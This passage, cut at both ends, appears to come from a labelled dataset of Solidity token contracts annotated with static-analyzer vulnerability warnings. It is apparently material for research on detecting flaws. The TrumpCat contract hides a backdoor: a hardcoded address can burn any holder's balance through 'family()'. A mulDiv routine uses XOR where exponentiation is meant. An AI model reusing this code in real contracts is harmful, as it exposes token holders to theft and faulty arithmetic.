uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee() private {\n\t\t// reentrancy-events | ID: e09ccf5\n\t\t// reentrancy-events | ID: 581f4b3\n\t\t// reentrancy-eth | ID: 76bab84\n _caoCaoo.transfer(address(this).balance);\n }\n\n function rescueEth() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 257a08d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 257a08d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5ba895d): UNICHAIN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5ba895d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0c774a4): UNICHAIN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0c774a4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6a637ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6a637ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 257a08d\n\t\t// unused-return | ID: 0c774a4\n\t\t// reentrancy-eth | ID: 6a637ad\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 257a08d\n\t\t// unused-return | ID: 5ba895d\n\t\t// reentrancy-eth | ID: 6a637ad\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 257a08d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 6a637ad\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10002.sol",
"size_bytes": 19751,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 233198235841242551134071450753470360614461789576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function family(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"TrumpCat\", unicode\"🐱TrumpCat\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_10003.sol",
"size_bytes": 7095,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 14cb051): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 14cb051: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4be380b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 4be380b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 339c35d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 339c35d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 274ec5e): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 274ec5e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2a345d7): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2a345d7: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 11c997a): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 11c997a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 356de8c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 356de8c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ab3e15c): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for ab3e15c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 04823c3): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 04823c3: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 14cb051\n\t\t\t\t// divide-before-multiply | ID: 339c35d\n\t\t\t\t// divide-before-multiply | ID: 274ec5e\n\t\t\t\t// divide-before-multiply | ID: 2a345d7\n\t\t\t\t// divide-before-multiply | ID: 11c997a\n\t\t\t\t// divide-before-multiply | ID: 356de8c\n\t\t\t\t// divide-before-multiply | ID: ab3e15c\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 4be380b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 339c35d\n\t\t\t// incorrect-exp | ID: 04823c3\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: ab3e15c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 14cb051\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 274ec5e\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 2a345d7\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 356de8c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 11c997a\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4be380b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract Ownable {\n event OwnershipTransferred(address indexed user, address indexed newOwner);\n\n error Unauthorized();\n\n error InvalidOwner();\n\n address public owner;\n\n modifier onlyOwner() virtual {\n if (msg.sender != owner) revert Unauthorized();\n\n _;\n }\n\n constructor(address _owner) {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function transferOwnership(address _owner) public virtual onlyOwner {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(msg.sender, _owner);\n }\n\n function revokeOwnership() public virtual onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(msg.sender, address(0));\n }\n}\n\nabstract contract ERC721Receiver {\n function onERC721Received(\n address,\n address,\n uint256,\n bytes calldata\n ) external virtual returns (bytes4) {\n return ERC721Receiver.onERC721Received.selector;\n }\n}\n\nabstract contract ERC404 is Ownable {\n event ERC20Transfer(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 amount\n );\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed id\n );\n\n event ERC721Approval(\n address indexed owner,\n address indexed spender,\n uint256 indexed id\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n error NotFound();\n\n error AlreadyExists();\n\n error InvalidRecipient();\n\n error InvalidSender();\n\n error UnsafeRecipient();\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable totalSupply;\n\n uint256 public minted;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n mapping(uint256 => address) internal _ownerOf;\n\n mapping(address => uint256[]) internal _owned;\n\n mapping(uint256 => uint256) internal _ownedIndex;\n\n mapping(address => bool) public whitelist;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalNativeSupply,\n address _owner\n ) Ownable(_owner) {\n name = _name;\n\n symbol = _symbol;\n\n decimals = _decimals;\n\n totalSupply = _totalNativeSupply * (10 ** decimals);\n }\n\n function setWhitelist(address target, bool state) public onlyOwner {\n whitelist[target] = state;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6c1526): ERC404.ownerOf(uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for a6c1526: Rename the local variables that shadow another component.\n function ownerOf(uint256 id) public view virtual returns (address owner) {\n owner = _ownerOf[id];\n\n if (owner == address(0)) {\n revert NotFound();\n }\n }\n\n function tokenURI(uint256 id) public view virtual returns (string memory);\n\n\t// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n\t// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d0b02d): ERC404.approve(address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 2d0b02d: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amountOrId\n ) public virtual returns (bool) {\n if (amountOrId <= minted && amountOrId > 0) {\n address owner = _ownerOf[amountOrId];\n\n if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {\n revert Unauthorized();\n }\n\n getApproved[amountOrId] = spender;\n\n emit Approval(owner, spender, amountOrId);\n } else {\n allowance[msg.sender][spender] = amountOrId;\n\n emit Approval(msg.sender, spender, amountOrId);\n }\n\n return true;\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n isApprovedForAll[msg.sender][operator] = approved;\n\n emit ApprovalForAll(msg.sender, operator, approved);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amountOrId\n ) public virtual {\n if (amountOrId <= minted) {\n if (from != _ownerOf[amountOrId]) {\n revert InvalidSender();\n }\n\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n if (\n msg.sender != from &&\n !isApprovedForAll[from][msg.sender] &&\n msg.sender != getApproved[amountOrId]\n ) {\n revert Unauthorized();\n }\n\n balanceOf[from] -= _getUnit();\n\n unchecked {\n balanceOf[to] += _getUnit();\n }\n\n _ownerOf[amountOrId] = to;\n\n delete getApproved[amountOrId];\n\n uint256 updatedId = _owned[from][_owned[from].length - 1];\n\n _owned[from][_ownedIndex[amountOrId]] = updatedId;\n\n _owned[from].pop();\n\n _ownedIndex[updatedId] = _ownedIndex[amountOrId];\n\n _owned[to].push(amountOrId);\n\n _ownedIndex[amountOrId] = _owned[to].length - 1;\n\n emit Transfer(from, to, amountOrId);\n\n emit ERC20Transfer(from, to, _getUnit());\n } else {\n uint256 allowed = allowance[from][msg.sender];\n\n if (allowed != type(uint256).max)\n allowance[from][msg.sender] = allowed - amountOrId;\n\n _transfer(from, to, amountOrId);\n }\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, \"\") !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n bytes calldata data\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(balanceOf[from] >= amount, \"Insufficient balance\");\n\n require(balanceOf[from] > 0, \"No zero transfers\");\n\n balanceOf[from] -= amount;\n\n unchecked {\n balanceOf[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return true;\n }\n\n function _getUnit() internal view returns (uint256) {\n return 10 ** decimals;\n }\n\n function _mint(address to) internal virtual {\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n unchecked {\n minted++;\n }\n\n uint256 id = minted;\n\n if (_ownerOf[id] != address(0)) {\n revert AlreadyExists();\n }\n\n _ownerOf[id] = to;\n\n _owned[to].push(id);\n\n _ownedIndex[id] = _owned[to].length - 1;\n\n emit Transfer(address(0), to, id);\n }\n\n function _burn(address from) internal virtual {\n if (from == address(0)) {\n revert InvalidSender();\n }\n\n uint256 id = _owned[from][_owned[from].length - 1];\n\n _owned[from].pop();\n\n delete _ownedIndex[id];\n\n delete _ownerOf[id];\n\n delete getApproved[id];\n\n emit Transfer(from, address(0), id);\n }\n\n function _setNameSymbol(\n string memory _name,\n string memory _symbol\n ) internal {\n name = _name;\n\n symbol = _symbol;\n }\n}\n\n// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\ncontract Circle is ERC404 {\n constructor() ERC404(\"Circle\", \"CIRCLE\", 18, 1, msg.sender) {\n balanceOf[msg.sender] = 1 * 10 ** 18;\n\n _mint(address(this));\n }\n\n function setNameSymbol(\n string memory _name,\n string memory _symbol\n ) public onlyOwner {\n _setNameSymbol(_name, _symbol);\n }\n\n function tokenURI(uint256 id) public pure override returns (string memory) {\n require(id == 1, \"Invalid token ID\"); // Ensure it’s the correct token ID\n\n string\n memory imageURI = \"ipfs://bafkreibgby4frs4bmdczol2sg5wvtphavewwkqlvarpyc34ztqxfsakg2a\";\n\n string memory json = string(\n abi.encodePacked(\n '{\"name\": \"ERC404 NFT #1\", ',\n '\"description\": \"A unique NFT with fractional ownership enabled by the ERC404 standard.\", ',\n '\"image\": \"',\n imageURI,\n '\"}'\n )\n );\n\n return string(abi.encodePacked(\"data:application/json;utf8,\", json));\n }\n}\n",
"file_name": "solidity_code_10004.sol",
"size_bytes": 24932,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = 